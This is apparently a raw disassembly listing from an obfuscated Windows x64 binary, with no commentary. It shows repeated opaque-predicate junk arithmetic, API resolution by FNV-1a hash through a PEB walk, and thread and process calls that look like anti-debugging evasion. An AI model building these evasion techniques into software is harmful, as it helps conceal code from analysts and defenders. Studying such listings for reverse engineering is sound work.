cmp eax, ecx
je 0x1400531a7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
not edi
shr edi, 0x1f
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mov eax, edi
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052ea0
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140052ea0
mov r14d, esi
jmp 0x140052f36
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140052f31
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140052f36
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
je 0x1400531a7
mov rax, qword [r13 + 8]
lea rcx, [rbp + 0x6c]
mov r14d, 1
mov qword [rsp + 0x20], rcx
mov r9d, r14d
lea r8, [rbp + 0x68]
mov rcx, r15
lea edx, [r14 + 0x10]
call rax
mov rdx, qword [r13 + 0x18]
mov rcx, r12
mov edi, eax
call rdx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400531a7
test edi, edi
js 0x140052ffd
cmp byte [rbp + 0x68], 0
je 0x14005300b
cmp dword [rbp + 0x6c], r14d
jne 0x14005300b
cmp edi, 0xc0000004
je 0x14005300b
xor eax, eax
mov edx, eax
jmp 0x14005300e
mov rdx, r14
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400530c0
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400530c0
mov r14d, esi
jmp 0x140053156
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053151
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140053156
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
movzx ecx, byte [rbp - 0x78]
imul eax, r14d
test eax, eax
mov eax, 1
cmovne ecx, eax
mov byte [rbp - 0x78], cl
mov rax, qword [r13 + 0x18]
mov rcx, r15
call rax
mov r8, qword gs:[0x30]
xor edx, edx
mov r8d, dword [r8 + 0x3e0]
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r14, rax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400535ae
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, r14
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400532c2
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400532c2
mov edi, esi
jmp 0x140053356
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053352
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140053356
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
mov r15, qword [rsp + 0x70]
xor edx, edx
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x1400535b3
mov rax, qword [r15]
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
lea edx, [r9 + 0x11]
call rax
mov rdx, qword [r15 + 0x18]
mov rcx, r14
mov edi, eax
call rdx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400535b3
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
xor eax, eax
cvtdq2pd xmm0, xmm0
cmp edi, 0xc0000022
setne al
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400534c0
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400534c0
mov r14d, esi
jmp 0x140053556
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053551
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r14d, xmm0
jmp 0x140053556
mov r14d, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 2
call fcn.140012bf0
movzx r13d, byte [rbp - 0x78]
xor edx, edx
movsx ecx, al
mov r12d, 1
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r14d
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
jmp 0x1400535bd
mov r15, qword [rsp + 0x70]
mov r13d, dword [rbp - 0x78]
mov r12d, 1
mov rax, qword gs:[0x60]
xor r14d, r14d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14087f268]
mov r8, qword [rcx + 0x30]
test rax, rax
jne 0x140053666
movsxd rax, dword [r8 + 0x3c]
mov r9d, r14d
mov r11d, dword [rax + r8 + 0x88]
mov ebx, dword [r11 + r8 + 0x20]
nop dword [rax]
mov r10d, r9d
mov edx, 0x9df57b6b
lea rax, [rbx + r10*4]
mov ecx, dword [rax + r8]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005363f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140053620
cmp edx, 0xde993e08
je 0x140053644
inc r9d
jmp 0x140053600
mov eax, dword [r11 + r8 + 0x24]
mov ecx, dword [r11 + r8 + 0x1c]
add rax, r8
add rcx, r8
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
add rax, r8
mov qword [0x14087f268], rax
mov qword [rsp + 0x50], r14
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x48], r14
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r14
xor r8d, r8d
mov qword [rsp + 0x38], r14
mov edx, 0x1fffff
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call rax
mov edi, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053ab1
test edi, edi
js 0x1400536f1
cmp qword [rbp + 0x40], 0
mov rdx, r12
jne 0x1400536f4
mov rdx, r14
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400537a5
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400537a5
mov edi, esi
jmp 0x140053839
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053835
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140053839
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x140053ab1
mov rax, qword [r15 + 8]
lea rcx, [rbp + 0x6c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x68]
mov rcx, qword [rbp + 0x40]
mov r9d, r12d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
mov rdx, qword [r15 + 0x18]
mov r14d, eax
mov rcx, qword [rbp + 0x40]
call rdx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053aae
test r14d, r14d
js 0x140053902
cmp dword [rbp + 0x6c], 1
jne 0x140053913
cmp byte [rbp + 0x68], 0
jne 0x140053913
cmp r14d, 0xc0000004
je 0x140053913
xor r14d, r14d
mov edx, r14d
jmp 0x140053919
mov rdx, r12
xor r14d, r14d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400539ca
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400539ca
mov edi, esi
jmp 0x140053a5e
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053a5a
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140053a5e
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
imul ebx, ecx, 7
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
cmovne r13d, r12d
mov dword [rbp - 0x78], r13d
jmp 0x140053ab1
xor r14d, r14d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x140880050]
mov r8, qword [rcx + 0x30]
test rax, rax
jne 0x140053b56
movsxd rax, dword [r8 + 0x3c]
mov r9d, r14d
mov r11d, dword [rax + r8 + 0x88]
mov ebx, dword [r11 + r8 + 0x20]
nop dword [rax]
mov r10d, r9d
mov edx, 0x54ee7d80
lea rax, [r8 + r10*4]
mov ecx, dword [rax + rbx]
add rcx, r8
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140053b2f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140053b10
cmp edx, 0x4738ca2f
je 0x140053b34
inc r9d
jmp 0x140053af0
mov eax, dword [r11 + r8 + 0x24]
mov ecx, dword [r11 + r8 + 0x1c]
add rax, r8
add rcx, r8
movzx eax, word [rax + r10*2]
mov eax, dword [rcx + rax*4]
add rax, r8
mov qword [0x140880050], rax
mov qword [rsp + 0x50], r14
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x48], r14
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r14
xor r8d, r8d
mov qword [rsp + 0x38], r14
mov edx, 0x1fffff
mov dword [rsp + 0x30], 5
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call rax
mov r14d, eax
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx edi, al
imul edi, ebx
shl edi, 3
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053f9f
test r14d, r14d
js 0x140053beb
cmp qword [rbp + 0x40], 0
je 0x140053beb
mov rdx, r12
xor r14d, r14d
jmp 0x140053bf1
xor r14d, r14d
mov edx, r14d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053ca2
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140053ca2
mov edi, esi
jmp 0x140053d36
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053d32
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140053d36
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
test eax, eax
je 0x140053f9f
mov rax, qword [r15 + 8]
lea rcx, [rbp + 0x6c]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x68]
mov rcx, qword [rbp + 0x40]
mov r9d, r12d
mov edx, reloc.WS2_32.dll_recvfrom
call rax
mov rdx, qword [r15 + 0x18]
mov edi, eax
mov rcx, qword [rbp + 0x40]
call rdx
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053f9f
test edi, edi
js 0x140053dfc
cmp dword [rbp + 0x6c], 1
jne 0x140053e07
cmp byte [rbp + 0x68], 0
je 0x140053e07
mov rdx, r14
cmp edi, 0xc0000004
jne 0x140053e0a
mov rdx, r12
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053ebb
call fcn.140012bd0
movsx ebx, byte [0x14087fc72]
movsx ecx, al
imul ebx, ecx
add ebx, ebx
call fcn.140012c00
movsx ecx, al
sub ebx, ecx
call fcn.140012be0
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140053ebb
mov edi, esi
jmp 0x140053f4f
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140053f4b
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si edi, xmm0
jmp 0x140053f4f
mov edi, dword [rsp + 0x70]
call fcn.140012bc0
movsx ebx, al
call fcn.140012bb0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
add ebx, ebx
call fcn.140012bf0
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movzx r13d, r13b
movsx ecx, byte [str._b_t3p]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, edi
